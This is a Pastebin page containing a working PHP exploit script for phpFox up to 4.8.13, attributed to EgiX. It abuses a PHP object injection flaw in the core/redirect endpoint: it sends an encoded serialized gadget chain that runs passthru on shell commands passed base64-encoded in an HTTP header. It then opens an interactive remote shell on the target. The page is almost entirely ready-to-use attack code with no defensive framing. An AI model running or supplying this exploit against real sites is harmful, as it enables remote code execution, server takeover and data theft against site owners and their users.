Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- set_time_limit(0);
- error_reporting(E_ERROR);
- if (!extension_loaded("curl")) die("[+] cURL extension required!\n");
- print "+------------------------------------------------------------------+\n";
- print "| phpFox <= 4.8.13 (redirect) PHP Object Injection Exploit by EgiX |\n";
- print "+------------------------------------------------------------------+\n";
- if ($argc != 2) die("\nUsage: php $argv[0] <URL>\n\n");
- function encode($string)
- {
- $string = addslashes(gzcompress($string, 9));
- return urlencode(strtr(base64_encode($string), '+/=', '-_,'));
- }
- class Phpfox_Request
- {
- private $_sName = "EgiX";
- private $_sPluginRequestGet = "print '_____'; passthru(base64_decode(\$_SERVER['HTTP_CMD'])); print '_____'; die;";
- }
- class Core_Objectify
- {
- private $__toString;
- function __construct($callback)
- {
- $this->__toString = $callback;
- }
- }
- print "\n[+] Launching shell on {$argv[1]}\n";
- $popChain = serialize(new Core_Objectify([new Phpfox_Request, "get"]));
- $popChain = str_replace('Core_Objectify', 'Core\Objectify', $popChain);
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, "{$argv[1]}index.php/core/redirect");
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
- curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
- curl_setopt($ch, CURLOPT_POSTFIELDS, "url=".encode($popChain));
- while(1)
- {
- print "\nphpFox-shell# ";
- if (($cmd = trim(fgets(STDIN))) == "exit") break;
- curl_setopt($ch, CURLOPT_HTTPHEADER, ["CMD: ".base64_encode($cmd)]);
- preg_match("/_____(.*)_____/s", curl_exec($ch), $m) ? print $m[1] : die("\n[+] Exploit failed!\n");
- }
Add Comment
Please, Sign In to add comment